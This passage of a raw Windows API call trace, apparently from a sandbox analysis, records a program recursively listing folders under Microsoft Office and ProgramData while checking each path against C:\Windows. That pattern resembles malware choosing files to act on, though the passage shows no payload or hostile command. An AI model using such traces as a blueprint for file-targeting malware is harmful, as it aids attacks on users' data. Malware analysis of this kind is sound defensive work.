nFileSizeLow=0x755a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDSBASE.DLL", cAlternateFileName="")) returned 1 [0050.382] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002148 [0050.384] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.384] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0050.384] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002248 [0050.385] FindNextFileW (in: hFindFile=0x4002248, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.385] FindNextFileW (in: hFindFile=0x4002248, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 1 [0050.385] FindClose (in: hFindFile=0x4002248 | out: hFindFile=0x4002248) returned 1 [0050.385] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40a54f8 | out: hHeap=0x6c0000) returned 1 [0050.385] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0050.385] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002248 [0050.385] FindNextFileW (in: hFindFile=0x4002248, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.385] FindNextFileW (in: hFindFile=0x4002248, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 1 [0050.386] FindClose (in: hFindFile=0x4002248 | out: hFindFile=0x4002248) returned 1 [0050.386] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40a54f8 | out: hHeap=0x6c0000) returned 1 [0050.386] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0050.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002248 [0050.386] FindNextFileW (in: hFindFile=0x4002248, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.386] FindNextFileW (in: hFindFile=0x4002248, lpFindFileData=0x350f094 | out: lpFindFileData=0x350f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 1 [0050.386] FindClose (in: hFindFile=0x4002248 | out: hFindFile=0x4002248) returned 1 [0050.386] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40a54f8 | out: hHeap=0x6c0000) returned 1 [0050.386] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69511700, ftCreationTime.dwHighDateTime=0x1c4a9a0, ftLastAccessTime.dwLowDateTime=0x97e6cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69511700, ftLastWriteTime.dwHighDateTime=0x1c4a9a0, nFileSizeHigh=0x0, nFileSizeLow=0x39cf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.LEX", cAlternateFileName="")) returned 1 [0050.387] FindClose (in: hFindFile=0x4002148 | out: hFindFile=0x4002148) returned 1 [0050.387] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a506e0 | out: hHeap=0x6c0000) returned 1 [0050.387] FindNextFileW (in: hFindFile=0x4002288, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd656b340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPMGR.DLL", cAlternateFileName="")) returned 1 [0050.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002148 [0050.774] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.784] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xca60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB10.BDR", cAlternateFileName="")) returned 1 [0059.474] FindNextFileW (in: hFindFile=0x4002308, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.474] FindNextFileW (in: hFindFile=0x4002308, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0059.477] FindClose (in: hFindFile=0x4002308 | out: hFindFile=0x4002308) returned 1 [0059.480] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a206c8 | out: hHeap=0x6c0000) returned 1 [0059.480] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0059.481] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DRM") returned 28 [0059.482] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\ProgramData\\Microsoft\\DRM") returned 1 [0059.482] lstrlenW (lpString="DRM") returned 3 [0059.483] lstrcmpiW (lpString1="C:\\Windows", lpString2="DRM") returned -1 [0059.484] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a206c8 [0059.484] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DRM") returned 28 [0059.485] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002308 [0059.491] FindNextFileW (in: hFindFile=0x4002308, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.491] FindNextFileW (in: hFindFile=0x4002308, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0059.493] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DRM\\Server") returned 35 [0059.493] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\ProgramData\\Microsoft\\DRM\\Server") returned 1 [0059.494] lstrlenW (lpString="Server") returned 6 [0059.494] lstrcmpiW (lpString1="C:\\Windows", lpString2="Server") returned -1 [0059.494] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x40354e8 [0059.495] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\DRM\\Server") returned 35 [0059.496] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002288 [0059.500] FindNextFileW (in: hFindFile=0x4002288, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.501] FindNextFileW (in: hFindFile=0x4002288, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0059.502] FindClose (in: hFindFile=0x4002288 | out: hFindFile=0x4002288) returned 1 [0059.504] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40354e8 | out: hHeap=0x6c0000) returned 1 [0059.505] FindNextFileW (in: hFindFile=0x4002308, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0059.506] FindClose (in: hFindFile=0x4002308 | out: hFindFile=0x4002308) returned 1 [0059.508] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a206c8 | out: hHeap=0x6c0000) returned 1 [0059.508] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0059.510] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\eHome") returned 30 [0059.510] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\ProgramData\\Microsoft\\eHome") returned 1 [0059.510] lstrlenW (lpString="eHome") returned 5 [0059.510] lstrcmpiW (lpString1="C:\\Windows", lpString2="eHome") returned -1 [0059.510] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a206c8 [0059.510] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\eHome") returned 30 [0059.510] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002308 [0059.510] FindNextFileW (in: hFindFile=0x4002308, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.510] FindNextFileW (in: hFindFile=0x4002308, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0059.510] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\eHome\\logs") returned 35 [0059.510] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\ProgramData\\Microsoft\\eHome\\logs") returned 1 [0059.510] lstrlenW (lpString="logs") returned 4 [0059.510] lstrcmpiW (lpString1="C:\\Windows", lpString2="logs") returned -1 [0059.510] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x40354e8 [0059.510] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\eHome\\logs") returned 35 [0059.510] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002288 [0059.511] FindNextFileW (in: hFindFile=0x4002288, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.511] FindNextFileW (in: hFindFile=0x4002288, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0059.511] FindClose (in: hFindFile=0x4002288 | out: hFindFile=0x4002288) returned 1 [0059.511] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40354e8 | out: hHeap=0x6c0000) returned 1 [0059.511] FindNextFileW (in: hFindFile=0x4002308, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0059.511] FindClose (in: hFindFile=0x4002308 | out: hFindFile=0x4002308) returned 1 [0059.511] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a206c8 | out: hHeap=0x6c0000) returned 1 [0059.511] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0059.511] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer") returned 37 [0059.511] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\ProgramData\\Microsoft\\Event Viewer") returned 1 [0059.511] lstrlenW (lpString="Event Viewer") returned 12 [0059.511] lstrcmpiW (lpString1="C:\\Windows", lpString2="Event Viewer") returned -1 [0059.511] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a206c8 [0059.511] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer") returned 37 [0059.511] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002308 [0059.518] FindNextFileW (in: hFindFile=0x4002308, lpFindFileData=0x350f58c | out: lpFindFileData=0x350f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, 